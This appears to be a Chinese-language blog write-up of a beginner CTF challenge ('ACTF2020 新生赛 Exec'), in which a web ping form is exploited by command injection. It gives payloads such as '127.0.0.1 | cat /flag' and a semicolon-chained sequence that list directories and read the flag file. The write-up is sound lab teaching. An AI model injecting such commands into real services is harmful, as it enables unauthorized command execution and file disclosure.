前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[ACTF2020 新生赛]Exec 1

[ACTF2020 新生赛]Exec 1

作者头像
用户8909609
发布2023-10-26 16:07:12
1230
发布2023-10-26 16:07:12
举报
文章被收录于专栏:BM CTFBM CTF

题目环境:

image.png
image.png

是一个ping操作,ping个127.0.0.1试试 有回显结果

image.png
image.png

看起来有点像PWN的题,猜测通过列出目录文件,是否存在flag文件,并查看文件内容,并且存在两种方法解题,一种是管道符,一种是堆叠查询

第一种、管道符

列出目录文件 127.0.0.1 | ls

image.png
image.png

列出隐藏文件 127.0.0.1 | ls -a 发现存在上级目录

image.png
image.png

因此可以看出,此处命令执行并不是在root/根目录下进行的<br />列出/根目录下的目录文件 127.0.0.1 | ls /

image.png
image.png

存在flag,查看根目录下flag文件的内容 127.0.0.1 | cat /flag

image.png
image.png

得出flag: **flag{ce0a3875-bc2a-49f9-b285-dccdf195531b}**

第二种、堆叠查询

列出当前目录文件;列出隐藏文件;列出根目录下的文件;查看根目录下flag文件的内容 127.0.0.1;ls;ls -a;ls /;cat /flag

image.png
image.png

得出flag: **flag{ce0a3875-bc2a-49f9-b285-dccdf195531b}** 两种方法可以看出有明显的不同

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第一种、管道符
  • 第二种、堆叠查询
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档